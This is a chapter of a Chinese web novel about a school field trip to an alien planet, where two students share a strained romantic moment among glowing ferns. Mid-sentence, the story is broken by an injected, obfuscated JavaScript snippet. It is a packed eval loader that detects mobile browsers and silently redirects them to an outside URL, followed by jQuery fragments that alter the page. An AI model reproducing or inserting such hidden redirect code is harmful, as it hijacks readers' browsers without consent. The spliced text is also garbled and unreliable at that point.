临近学期末。
莫斯图学院的期末研学也要开始了。
研学地点定在卡戎三号星，一颗位于边境星域的原始星球。
学院包下了一整艘中型客运星舰，学生和导师将在那里进行为期一周的实地考察。
对于大多数学生来说，这是一次难得的旅行。
对于明绮也是如此。
年末夜明星的订单已经处理得差不多，夜明星的事业已经走上正轨，明绮难得有时间能出来放松放松。
所以在莫斯图给他发来研学邀请的时候，明绮很快就回复了同意。
楚之南倒是因为家里的一些事情要处理，没来参加这次活动。
当然，相较于明绮和楚之南参加与否。
莫斯图的学生们更加关注的是另一个人——黎盛野。
按照黎盛野往日的性子，这种无聊的群体活动，黎盛野根本不屑于参加。
但是，有人在报名的时候，惊喜地在研学名单里看到了黎盛野的名字。
顿时，黎盛野的后援团们一传十，十传百，导致这次研学的报名人数达到了前所未有的数量，莫斯图不得不提前截止了报名，否则报名的人都要把莫斯图的官网挤爆。
+
卡戎三号星的天空是浅紫色的，三颗大小不一的卫星悬挂在天际。
星舰在原始星球唯一的降落坪停稳时，窗外是一片辽阔的荒野。
当舱门打开，带着草木清香的陌生空气涌入了船舱，学生们兴奋的交谈声瞬间充满了整个船舱内。
明绮站在人群靠后的位置，背着简单的行囊。
“怎么样？景色不错吧？”
身边响起一个声音。
明绮转过头，看见黎盛野不知何时站到了他旁边。
“还行。”
“我听说卡戎三号星的生态很特别，有一种会发光的蕨类植物，只在夜晚的三卫星同时升起时才会绽放。”
黎盛野很自然地接话，仿佛两人之间从没有过那些疏离：“研学手册上写的，你没看？”
“看了。”明绮点点头。
黎盛野笑了：“我们不是说过了吗。这次旅行要开心一点。”
明绮握住自己的背包带子，与黎盛野那双毫无芥蒂的眼对上，再看看周围那些对黎盛野虎视眈眈的追求者的目光。
无奈地摇摇头：“你不要给我惹麻烦就好。”
黎盛野打了个响指，很快，周围暗中观察他们两个的人都被他的跟班们驱赶远离。
只剩下明绮和黎盛野两个人。
队伍向前移动，明绮和黎盛野跟着学生们陆续走下星舰。
营地位于降落坪一公里外的一片平缓丘陵上。
这里搭建了几十座简易的充气帐篷，围成几个同心圆，中央是公共活动区。
分配住宿按照学号和专业，明绮被分到了Omega机甲工程专业的帐篷区，而黎盛野作为Alpha战斗专业的学生，本该在另一片区域。
但负责分配的老师看了眼名单，又看了眼站在明绮旁边、一脸“我就站这儿怎么了”的黎盛野。
拗不过黎盛野，只能把两人分到了邻近的帐篷。
“反正帐篷够多，你们又是……熟悉的同学，住一起也方便交流。”
明绮没说什么，拎着自己的行李走进帐篷。
帐篷内部比想象中宽敞，有张简易行军床，基础工作台，还有独立的照明和温控系统。
对于野外研学来说，这条件已经相当奢侈。
黎盛野跟进来，把自己的包扔在工作台上，直接就坐在了明绮的床上。
“看来学院还挺贴心。”
明绮没接话，开始整理自己的东西。
但黎盛野一个人就占据了大半张床，明绮不得不提醒：“让一让，我放东西。”
帐篷外传来学生们的笑闹声。
有人在尝试搭建野外通讯系统，有人在争论晚上该去哪片区域观测星象，还有几个Omega聚在一起，低声讨论着黎盛野居然真的来参加了这次研学。
“你听说了吗？黎少和明绮住邻近的帐篷。”
“真的假的？他们到底是不是谈过啊……”
“谁知道呢，反正看起来他俩很不对劲，刚才下星舰的时候还说话了。”
“别乱说话，黎少只是投资了夜明星，他们俩就是普通同学关系！”
“我才不相信黎少会和明绮那个阴森森的家伙谈过呢！”
“就是就是，做出夜明星怎么了，只能说明绮是个书呆子，黎少才不会喜欢他！”
声音渐渐远去。
黎盛野听着那些话，越听越生气。
但是看旁边明绮不为所动的样子，只能撇撇嘴：“看来我和你之前的关系，还真是给不少人创造了八卦的谈资……”
明绮没理会黎盛野没事找事，只回了句：“那是以前。”
黎盛野撇了撇嘴，靠在床边，打开个人终端，开始浏览学院下发的研学日程表。
仿佛真的只是来认真参加研学活动的。
但明绮知道不是。
五天前，明绮收到了来自黎盛野的消息。
两人约在了郊外的废料处理站见了一面。
就目前明绮从莱维特那里得到的信息，还有黎盛野从黑市得到的信息，两人很快就确定了，安陆的目标就是明绮。
这样的谜底，对于明绮来说，只是让他认识到了自己在这场博弈里的位置。
但是黎盛野却对此反应激烈。
“你知不知道，你有可能会被安陆害死。”
明绮的回答是：“我不怕死，就怕不明不白地死了。”
“而且，我对于挑战权威这件事，其实还蛮有经验的。”
黎盛野的眼神闪烁，有些无法琢磨的神色闪过，最终，黎盛野选择顺着明绮的选择，帮助他。
在两人交谈后的几天内，黎盛野就查出来了涅槃基地可能的坐标。
而这次研学的位置选择，就是黎盛野利用董事会的权利定下来的。
卡戎三号星距离查到的涅槃基地坐标只隔了两个行星带。
时间回到研学活动的现在。
“下午是自由活动时间。”
黎盛野忽然开口，眼睛还盯着终端屏幕。
“研学手册上面写着我们可以去东边的荧光谷看看，据说那里有卡戎三号星特有的自然景观。”
“你想去？”明绮问。
“来都来了。”黎盛野抬头，露出一个无可挑剔的笑容，“而且，集体活动要积极参与，对吧？”
明绮看了他两秒，点了点头。
“好。”
去荧光谷的人不少，但谷地辽阔，人群很快散成三三两两的小组。
黎盛野带着明绮绕开主路，沿着一条被踩踏出来的狭窄小径往山谷深处走。
越往里，人造的声响越远，只剩下某种不知名昆虫持续的低鸣。
道路尽头是一处断崖式的平台，下方是更深的山谷，隐约可见蜿蜒的溪流反射着淡紫色天光。
“这里视野不错。”
黎盛野在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975241|190822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平台边缘找了块平坦的岩石坐下，从背包里掏出水壶递过去。
“口渴了吗？”
明绮接过，拧开喝了一口。
水温适中，带着淡淡的电解质甜味，是他平时在实验室常备的牌子。
“你带了这种？”
“出发前顺手拿的。”
黎盛野别开视线，看向远处的山谷。
“想着野外活动容易脱水。”
沉默再次在了两人之间蔓延。
但这沉默反而有种奇异的平和。
远处其他学生的笑闹声传来，仿佛来自另一个世界。
黎盛野忽然站起身，走到一丛植物旁，弯腰仔细观察了一会儿，然后碰了碰其中一片叶子。
“触感很特别。”他回过头，眼里有浅浅的兴味，“你要来摸摸吗？”
明绮走过去，伸出手去触摸，指尖传来奇异的触感，凉，滑，但又带着细微纹理。
明绮垂下头，仔细观察着叶片，专注得像在做实验。
就在这时，天色微妙地变化了。
卡戎三号星的三颗卫星恰好运行到某个特定角度，天光被折射洒下清辉。
那光辉触碰到植物的瞬间，整片山谷的荧光蕨，骤然绽放。
荧光柔和，却将周围映照得如同梦境。
明绮正低头观察一片叶子的背面。
荧光绽放的刹那，那些流动的光沿着他的指尖蜿蜒而上，掠过他低垂的眼睫，在他苍白的侧脸上投下细碎的光影。
明绮微微抬起头，有些讶异地看着眼前世界。
黑沉的眼眸里倒映着万千荧光。
那一瞬间，黎盛野忘了呼吸。
明绮安静地蹲在那里，周身被柔和的光晕笼罩，像某种误入人间的神祇。
黎盛野感到胸口某个地方被狠狠攥了一下。
“明绮。”黎盛野忽然开口，声音轻得像是怕吓着明绮。
“嗯？”明绮转头。
“如果……就只是现在这样，在一个陌生的星球上，没有任何人打扰，只有你我两个，你觉得这样的生活怎么样？”
问题问得没头没尾，甚至有些语无伦次。
明绮抬起眼，对上黎盛野的视线。
风从两人之间穿过，带起明绮额前细碎的黑发。
他看了黎盛野很久，久到黎盛野几乎要以为他不会回答。
然后，明绮平静地开口：“你不是已经做了标记清除手术了吗？”
黎盛野整个人僵住了。
那一瞬间，他眼里所有细微的光，所有小心翼翼的试探，都被冻结了。
明绮收回手，站起身，目光重新投向远处的山谷。
他的侧脸线条荧光下显得格外清晰，也格外冷漠。
“你说的如果没有意义，这一切都不成立。”
黎盛野张了张嘴，想说什么。
但他最终什么也没说出口。
黎盛野只是慢慢站起身，拍了拍裤子上并不存在的尘土，脸上重新挂起属于黎家少爷的无可挑剔的表情。
“也是。我好像总问些没意义的问题。”
黎盛野转身，背对着明绮，看向来时的路。
“时间差不多了，该回营地了。”
“嗯。”
两人前一后离开平台。
来时那条小径似乎变长了些，脚步声在寂静中格外清晰。
黎盛野走在前面，背脊挺得笔直。
明绮静静地跟在后面，看着黎盛野的背影，缓缓垂下了眼眸，掩去了眸中的思绪。